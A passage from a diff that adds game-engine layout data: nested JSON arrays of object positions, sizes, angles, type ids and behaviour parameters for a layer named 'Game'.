+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4477,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 785,
+ 652,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4479,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1212,
+ 550,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4480,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1493,
+ 551,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4621,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2326,
+ 695,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4625,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2417,
+ 695,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4626,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2808,
+ 581,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4627,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3371,
+ 582,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4631,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4114,
+ 677,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4635,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4647,
+ 679,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4638,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4938,
+ 626,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4639,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726,
+ 1038,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4649,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4866,
+ 1101,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4650,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2720,
+ 1076,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4651,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1564,
+ 971,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4653,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 974,
+ 1002,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4654,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3048.5,
+ 830,
+ 0,
+ 2633,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4675,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 465242237050654,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 1167.03857421875,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1259.03857421875,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4664,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1350.589965820313,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1441.589965820313,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4672,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1533.519165039063,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4673,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1624.519165039063,
+ 778.1810302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4674,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4269,
+ 670,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4634,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3926,
+ 676,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4633,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3445,
+ 673,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4632,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3270,
+ 481,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4630,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2982,
+ 396,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4628,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2000,
+ 695,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4622,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1626,
+ 541,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4482,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1325,
+ 545,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4481,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 482,
+ 648,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4478,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4812.52734375,
+ 656.9511108398438,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.8726649284362793,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 275,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2521,
+ 673,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.8726649284362793,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 26,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 617,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.8726649284362793,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 45,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1728,
+ 591,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 182,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 925,
+ 638,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.8726649284362793,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 105,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 118,
+ 650,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 277,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5034,
+ 548,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 240,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5034,590",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5036,
+ 562,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6118,
+ 1647,
+ 0,
+ 228,
+ 58,
+ 0,
+ -0.02223877422511578,
+ 1,
+ 0.460526317358017,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 347,
+ 227,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6077,
+ 1730,
+ 0,
+ 126,
+ 33,
+ 0,
+ -1.98930811882019,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 348,
+ 234,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040,
+ 1687,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.4014257192611694,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 334,
+ 220,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5147,
+ 1730,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 336,
+ 228,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5261,
+ 1750,
+ 0,
+ 126,
+ 33,
+ 0,
+ 0.1047197580337524,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 337,
+ 229,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 1759,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.1047197580337524,
+ 1,
+ 0.1349206417798996,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 338,
+ 230,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5492,
+ 1745,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.1745329201221466,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 339,
+ 231,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5605,
+ 1723,
+ 0,
+ 126,
+ 33,
+ 0,
+ -0.401425838470459,
+ 1,
+ 0.1428571492433548,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 340,
+ 232,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 546,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 633,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 644,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -698,
+ -313,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 17,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -571,
+ -313,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 19,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -447,
+ -313,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 320,
+ 20,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 90,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 232,
+ 642,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 214,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 230,
+ 642,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 215,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 232,
+ 617,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 192,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -525,
+ 1029,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 343,
+ 224,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 232,
+ 618,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 225,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -526,
+ 1028,
+ 0,
+ 70,
+ 72,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 346,
+ 226,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5037,
+ 755.5,
+ 0,
+ 13,
+ 1636,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 241,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 243,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 290.5,
+ 2083,
+ 0,
+ 2106,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 253,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -728,
+ 712,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 27,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -133,
+ 1996,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 73,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1290,
+ 1340,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 77,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 646,
+ 608,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 96,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1953.883056640625,
+ 828,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 101,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1810,
+ 1131,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 103,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1746,
+ 1212,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 104,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2855,
+ 543,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3874,
+ 2098,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4116,
+ 1977,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
